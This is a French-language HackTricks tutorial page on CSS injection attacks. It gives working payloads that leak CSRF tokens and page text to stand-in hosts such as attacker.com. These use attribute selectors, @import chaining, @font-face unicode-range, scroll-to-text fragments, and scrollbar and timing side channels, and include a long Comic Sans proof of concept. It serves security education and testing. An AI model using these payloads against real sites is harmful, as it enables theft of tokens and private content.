CSS Injection

Reading time: 23 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

CSS Injection

SĂ©lecteur d'attribut

Les sélecteurs CSS sont conçus pour correspondre aux valeurs des attributs name et value d'un élément input. Si l'attribut de valeur de l'élément d'entrée commence par un caractÚre spécifique, une ressource externe prédéfinie est chargée :

css
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}

Cependant, cette approche présente une limitation lorsqu'il s'agit d'éléments d'entrée cachés (type="hidden") car les éléments cachés ne chargent pas les arriÚre-plans.

Contournement pour les éléments cachés

Pour contourner cette limitation, vous pouvez cibler un élément frÚre suivant en utilisant le combinatoire de frÚres généraux ~. La rÚgle CSS s'applique alors à tous les frÚres suivant l'élément d'entrée caché, ce qui entraßne le chargement de l'image d'arriÚre-plan :

css
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

Un exemple pratique d'exploitation de cette technique est détaillé dans l'extrait de code fourni. Vous pouvez le voir ici.

Prérequis pour l'injection CSS

Pour que la technique d'injection CSS soit efficace, certaines conditions doivent ĂȘtre remplies :

  1. Longueur de la charge utile : Le vecteur d'injection CSS doit prendre en charge des charges utiles suffisamment longues pour accueillir les sélecteurs conçus.
  2. Réévaluation CSS : Vous devez avoir la capacité d'encadrer la page, ce qui est nécessaire pour déclencher la réévaluation du CSS avec des charges utiles nouvellement générées.
  3. Ressources externes : La technique suppose la capacitĂ© d'utiliser des images hĂ©bergĂ©es Ă  l'extĂ©rieur. Cela peut ĂȘtre restreint par la politique de sĂ©curitĂ© de contenu (CSP) du site.

SĂ©lecteur d'attribut aveugle

Comme expliquĂ© dans cet article, il est possible de combiner les sĂ©lecteurs :has et :not pour identifier du contenu mĂȘme Ă  partir d'Ă©lĂ©ments aveugles. Cela est trĂšs utile lorsque vous n'avez aucune idĂ©e de ce qui se trouve Ă  l'intĂ©rieur de la page web chargeant l'injection CSS.
Il est Ă©galement possible d'utiliser ces sĂ©lecteurs pour extraire des informations de plusieurs blocs du mĂȘme type comme dans :

html
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />

Combiner cela avec la technique @import suivante permet d'exfiltrer beaucoup d'info en utilisant l'injection CSS depuis des pages aveugles avec blind-css-exfiltration.

@import

La technique prĂ©cĂ©dente a quelques inconvĂ©nients, vĂ©rifiez les prĂ©requis. Vous devez soit ĂȘtre capable de envoyer plusieurs liens Ă  la victime, soit ĂȘtre capable de iframe la page vulnĂ©rable Ă  l'injection CSS.

Cependant, il existe une autre technique astucieuse qui utilise CSS @import pour améliorer la qualité de la technique.

Ceci a été d'abord montré par Pepe Vila et cela fonctionne comme suit :

Au lieu de charger la mĂȘme page encore et encore avec des dizaines de charges utiles diffĂ©rentes Ă  chaque fois (comme dans la prĂ©cĂ©dente), nous allons charger la page juste une fois et juste avec un import vers le serveur de l'attaquant (c'est la charge utile Ă  envoyer Ă  la victime) :

css
@import url("//attacker.com:5001/start?");
  1. L'importation va recevoir un script CSS des attaquants et le navigateur va le charger.
  2. La premiĂšre partie du script CSS que l'attaquant va envoyer est un autre @import vers le serveur des attaquants Ă  nouveau.
  3. Le serveur des attaquants ne répondra pas encore à cette demande, car nous voulons fuir quelques caractÚres puis répondre à cet import avec la charge utile pour fuir les suivants.
  4. La deuxiĂšme et plus grande partie de la charge utile va ĂȘtre une charge utile de fuite de sĂ©lecteur d'attribut
  5. Cela enverra au serveur des attaquants le premier caractĂšre du secret et le dernier.
  6. Une fois que le serveur des attaquants a reçu le premier et le dernier caractÚre du secret, il va répondre à l'importation demandée à l'étape 2.
  7. La rĂ©ponse va ĂȘtre exactement la mĂȘme que les Ă©tapes 2, 3 et 4, mais cette fois-ci, elle essaiera de trouver le deuxiĂšme caractĂšre du secret puis l'avant-dernier.

L'attaquant va suivre cette boucle jusqu'Ă  ce qu'il parvienne Ă  fuir complĂštement le secret.

Vous pouvez trouver le code original de Pepe Vila pour exploiter cela ici ou vous pouvez trouver presque le mĂȘme code mais commentĂ© ici.

note

Le script essaiera de découvrir 2 caractÚres à chaque fois (du début et de la fin) car le sélecteur d'attribut permet de faire des choses comme :

/* value^=  pour correspondre au début de la valeur*/
input[value^="0"] {
  --s0: url(http://localhost:5001/leak?pre=0);
}

/* value$=  pour correspondre Ă  la fin de la valeur*/
input[value$="f"] {
  --e0: url(http://localhost:5001/leak?post=f);
}

Cela permet au script de fuir le secret plus rapidement.

warning

Parfois, le script ne détecte pas correctement que le préfixe + suffixe découvert est déjà le drapeau complet et il continuera en avant (dans le préfixe) et en arriÚre (dans le suffixe) et à un moment donné, il se bloquera.
Pas de soucis, vérifiez simplement la sortie car vous pouvez voir le drapeau là.

Autres sélecteurs

Autres façons d'accéder aux parties du DOM avec sélecteurs CSS :

  • .class-to-search:nth-child(2) : Cela recherchera le deuxiĂšme Ă©lĂ©ment avec la classe "class-to-search" dans le DOM.
  • SĂ©lecteur :empty : UtilisĂ© par exemple dans ce rapport:
css
[role^="img"][aria-label="1"]:empty {
background-image: url("YOUR_SERVER_URL?1");
}

XS-Search basé sur les erreurs

Référence : Attaque basée sur CSS : Abus de unicode-range de @font-face , PoC XS-Search basé sur les erreurs par @terjanq

L'intention gĂ©nĂ©rale est d'utiliser une police personnalisĂ©e d'un point de terminaison contrĂŽlĂ© et de s'assurer que le texte (dans ce cas, 'A') est affichĂ© avec cette police uniquement si la ressource spĂ©cifiĂ©e (favicon.ico) ne peut pas ĂȘtre chargĂ©e.

html
<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}

#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. Utilisation de police personnalisée :
  • Une police personnalisĂ©e est dĂ©finie Ă  l'aide de la rĂšgle @font-face dans une balise <style> dans la section <head>.
  • La police est nommĂ©e poc et est rĂ©cupĂ©rĂ©e depuis un point de terminaison externe (http://attacker.com/?leak).
  • La propriĂ©tĂ© unicode-range est dĂ©finie sur U+0041, ciblant le caractĂšre Unicode spĂ©cifique 'A'.
  1. ÉlĂ©ment Object avec texte de secours :
  • Un Ă©lĂ©ment <object> avec id="poc0" est crĂ©Ă© dans la section <body>. Cet Ă©lĂ©ment essaie de charger une ressource depuis http://192.168.0.1/favicon.ico.
  • La font-family pour cet Ă©lĂ©ment est dĂ©finie sur 'poc', comme dĂ©fini dans la section <style>.
  • Si la ressource (favicon.ico) Ă©choue Ă  se charger, le contenu de secours (la lettre 'A') Ă  l'intĂ©rieur de la balise <object> est affichĂ©.
  • Le contenu de secours ('A') sera rendu en utilisant la police personnalisĂ©e poc si la ressource externe ne peut pas ĂȘtre chargĂ©e.

Stylisation du fragment de texte défilant

La pseudo-classe :target est utilisée pour sélectionner un élément ciblé par un fragment d'URL, comme spécifié dans la spécification des sélecteurs CSS Niveau 4. Il est crucial de comprendre que ::target-text ne correspond à aucun élément à moins que le texte ne soit explicitement ciblé par le fragment.

Une préoccupation de sécurité surgit lorsque des attaquants exploitent la fonctionnalité Scroll-to-text, leur permettant de confirmer la présence d'un texte spécifique sur une page web en chargeant une ressource depuis leur serveur via une injection HTML. La méthode consiste à injecter une rÚgle CSS comme ceci :

css
:target::before {
content: url(target.png);
}

Dans de tels scĂ©narios, si le texte "Administrator" est prĂ©sent sur la page, la ressource target.png est demandĂ©e au serveur, indiquant la prĂ©sence du texte. Une instance de cette attaque peut ĂȘtre exĂ©cutĂ©e via une URL spĂ©cialement conçue qui intĂšgre le CSS injectĂ© avec un fragment Scroll-to-text :

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

Ici, l'attaque manipule l'injection HTML pour transmettre le code CSS, visant le texte spécifique "Administrator" via le fragment Scroll-to-text (#:~:text=Administrator). Si le texte est trouvé, la ressource indiquée est chargée, signalant involontairement sa présence à l'attaquant.

Pour l'attĂ©nuation, les points suivants doivent ĂȘtre notĂ©s :

  1. Correspondance STTF Contraignante : Le fragment Scroll-to-text (STTF) est conçu pour correspondre uniquement à des mots ou des phrases, limitant ainsi sa capacité à divulguer des secrets ou des jetons arbitraires.
  2. Restriction aux Contextes de Navigation de Niveau Supérieur : Le STTF fonctionne uniquement dans des contextes de navigation de niveau supérieur et ne fonctionne pas dans les iframes, rendant toute tentative d'exploitation plus visible pour l'utilisateur.
  3. Nécessité d'une Activation par l'Utilisateur : Le STTF nécessite un geste d'activation par l'utilisateur pour fonctionner, ce qui signifie que les exploitations ne sont réalisables que par des navigations initiées par l'utilisateur. Cette exigence atténue considérablement le risque que des attaques soient automatisées sans interaction de l'utilisateur. Néanmoins, l'auteur du billet de blog souligne des conditions spécifiques et des contournements (par exemple, ingénierie sociale, interaction avec des extensions de navigateur courantes) qui pourraient faciliter l'automatisation de l'attaque.

La connaissance de ces mécanismes et des vulnérabilités potentielles est essentielle pour maintenir la sécurité web et se protéger contre de telles tactiques d'exploitation.

Pour plus d'informations, consultez le rapport original : https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

Vous pouvez consulter un exploit utilisant cette technique pour un CTF ici.

@font-face / unicode-range

Vous pouvez spécifier des polices externes pour des valeurs unicode spécifiques qui ne seront rassemblées que si ces valeurs unicode sont présentes dans la page. Par exemple :

html
<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>

<p id="sensitive-information">AB</p>
htm

Lorsque vous accĂ©dez Ă  cette page, Chrome et Firefox rĂ©cupĂšrent "?A" et "?B" car le nƓud de texte de sensitive-information contient les caractĂšres "A" et "B". Mais Chrome et Firefox ne rĂ©cupĂšrent pas "?C" car il ne contient pas "C". Cela signifie que nous avons pu lire "A" et "B".

Exfiltration de nƓud de texte (I) : ligatures

RĂ©fĂ©rence : Wykradanie danych w ƛwietnym stylu – czyli jak wykorzystać CSS-y do atakĂłw na webaplikację

La technique dĂ©crite implique l'extraction de texte d'un nƓud en exploitant les ligatures de police et en surveillant les changements de largeur. Le processus implique plusieurs Ă©tapes :

  1. Création de polices personnalisées :
  • Des polices SVG sont crĂ©Ă©es avec des glyphes ayant un attribut horiz-adv-x, qui dĂ©finit une grande largeur pour un glyphe reprĂ©sentant une sĂ©quence de deux caractĂšres.
  • Exemple de glyphe SVG : <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>, oĂč "XY" dĂ©signe une sĂ©quence de deux caractĂšres.
  • Ces polices sont ensuite converties au format woff Ă  l'aide de fontforge.
  1. DĂ©tection des changements de largeur :
  • CSS est utilisĂ© pour s'assurer que le texte ne se renvoie pas (white-space: nowrap) et pour personnaliser le style de la barre de dĂ©filement.
  • L'apparition d'une barre de dĂ©filement horizontale, stylisĂ©e de maniĂšre distincte, agit comme un indicateur (oracle) qu'une ligature spĂ©cifique, et donc une sĂ©quence de caractĂšres spĂ©cifique, est prĂ©sente dans le texte.
  • Le CSS impliquĂ© :
css
body {
white-space: nowrap;
}
body::-webkit-scrollbar {
background: blue;
}
body::-webkit-scrollbar:horizontal {
background: url(http://attacker.com/?leak);
}
  1. Processus d'exploitation :
  • Étape 1 : Des polices sont crĂ©Ă©es pour des paires de caractĂšres avec une largeur substantielle.
  • Étape 2 : Un truc basĂ© sur la barre de dĂ©filement est utilisĂ© pour dĂ©tecter quand le glyphe de grande largeur (ligature pour une paire de caractĂšres) est rendu, indiquant la prĂ©sence de la sĂ©quence de caractĂšres.
  • Étape 3 : Lors de la dĂ©tection d'une ligature, de nouveaux glyphes reprĂ©sentant des sĂ©quences de trois caractĂšres sont gĂ©nĂ©rĂ©s, incorporant la paire dĂ©tectĂ©e et ajoutant un caractĂšre prĂ©cĂ©dent ou suivant.
  • Étape 4 : La dĂ©tection de la ligature de trois caractĂšres est effectuĂ©e.
  • Étape 5 : Le processus se rĂ©pĂšte, rĂ©vĂ©lant progressivement tout le texte.
  1. Optimisation :
  • La mĂ©thode d'initialisation actuelle utilisant <meta refresh=... n'est pas optimale.
  • Une approche plus efficace pourrait impliquer le truc CSS @import, amĂ©liorant les performances de l'exploitation.

Exfiltration de nƓud de texte (II) : fuite du charset avec une police par dĂ©faut (ne nĂ©cessitant pas d'actifs externes)

Référence : PoC using Comic Sans by @Cgvwzq & @Terjanq

Ce truc a Ă©tĂ© publiĂ© dans ce fil Slackers. Le charset utilisĂ© dans un nƓud de texte peut ĂȘtre divulguĂ© en utilisant les polices par dĂ©faut installĂ©es dans le navigateur : aucune police externe -ou personnalisĂ©e- n'est nĂ©cessaire.

Le concept repose sur l'utilisation d'une animation pour élargir progressivement la largeur d'un div, permettant à un caractÚre à la fois de passer de la partie 'suffixe' du texte à la partie 'préfixe'. Ce processus divise efficacement le texte en deux sections :

  1. Préfixe : La ligne initiale.
  2. Suffixe : La ou les lignes suivantes.

Les Ă©tapes de transition des caractĂšres apparaĂźtraient comme suit :

C
ADB

CA
DB

CAD
B

CADB

Au cours de cette transition, le truc unicode-range est utilisé pour identifier chaque nouveau caractÚre à mesure qu'il rejoint le préfixe. Cela est réalisé en changeant la police en Comic Sans, qui est notablement plus haute que la police par défaut, déclenchant ainsi une barre de défilement verticale. L'apparition de cette barre de défilement révÚle indirectement la présence d'un nouveau caractÚre dans le préfixe.

Bien que cette méthode permette la détection de caractÚres uniques à mesure qu'ils apparaissent, elle ne précise pas quel caractÚre est répété, seulement qu'une répétition a eu lieu.

note

En gros, le unicode-range est utilisé pour détecter un char, mais comme nous ne voulons pas charger une police externe, nous devons trouver un autre moyen.
Lorsque le char est trouvé, il est donné à la police Comic Sans préinstallée, qui rend le char plus grand et déclenche une barre de défilement qui fuit le char trouvé.

VĂ©rifiez le code extrait du PoC :

css
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}

Exfiltration de nƓud de texte (III) : fuite du charset avec une police par dĂ©faut en cachant des Ă©lĂ©ments (ne nĂ©cessitant pas de ressources externes)

Référence : Cela est mentionné comme une solution infructueuse dans ce rapport

Ce cas est trĂšs similaire au prĂ©cĂ©dent, cependant, dans ce cas, l'objectif de rendre des chars spĂ©cifiques plus grands que d'autres est de cacher quelque chose comme un bouton pour ne pas ĂȘtre pressĂ© par le bot ou une image qui ne sera pas chargĂ©e. Ainsi, nous pourrions mesurer l'action (ou l'absence d'action) et savoir si un char spĂ©cifique est prĂ©sent dans le texte.

Exfiltration de nƓud de texte (III) : fuite du charset par temporisation de cache (ne nĂ©cessitant pas de ressources externes)

Référence : Cela est mentionné comme une solution infructueuse dans ce rapport

Dans ce cas, nous pourrions essayer de fuir si un char est dans le texte en chargeant une police factice de la mĂȘme origine :

css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

Si une correspondance est trouvĂ©e, la police sera chargĂ©e depuis /static/bootstrap.min.css?q=1. Bien qu'elle ne se charge pas avec succĂšs, le navigateur devrait la mettre en cache, et mĂȘme s'il n'y a pas de cache, il existe un mĂ©canisme de 304 non modifiĂ©, donc la rĂ©ponse devrait ĂȘtre plus rapide que d'autres choses.

Cependant, si la différence de temps entre la réponse mise en cache et celle non mise en cache n'est pas suffisamment grande, cela ne sera pas utile. Par exemple, l'auteur a mentionné : Cependant, aprÚs des tests, j'ai constaté que le premier problÚme est que la vitesse n'est pas trÚs différente, et le deuxiÚme problÚme est que le bot utilise le drapeau disk-cache-size=1, ce qui est vraiment réfléchi.

Exfiltration de nƓud texte (III) : fuite du charset en chargeant des centaines de "polices" locales (ne nĂ©cessitant pas d'actifs externes)

Référence : Cela est mentionné comme une solution infructueuse dans cet article

Dans ce cas, vous pouvez indiquer CSS pour charger des centaines de fausses polices de la mĂȘme origine lorsqu'une correspondance se produit. De cette façon, vous pouvez mesurer le temps qu'il faut et dĂ©couvrir si un caractĂšre apparaĂźt ou non avec quelque chose comme :

css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

Et le code du bot ressemble Ă  ceci :

python
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

Donc, si la police ne correspond pas, le temps de rĂ©ponse lors de la visite du bot devrait ĂȘtre d'environ 30 secondes. Cependant, s'il y a une correspondance de police, plusieurs requĂȘtes seront envoyĂ©es pour rĂ©cupĂ©rer la police, ce qui entraĂźnera une activitĂ© continue sur le rĂ©seau. En consĂ©quence, il faudra plus de temps pour satisfaire la condition d'arrĂȘt et recevoir la rĂ©ponse. Par consĂ©quent, le temps de rĂ©ponse peut ĂȘtre utilisĂ© comme un indicateur pour dĂ©terminer s'il y a une correspondance de police.

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks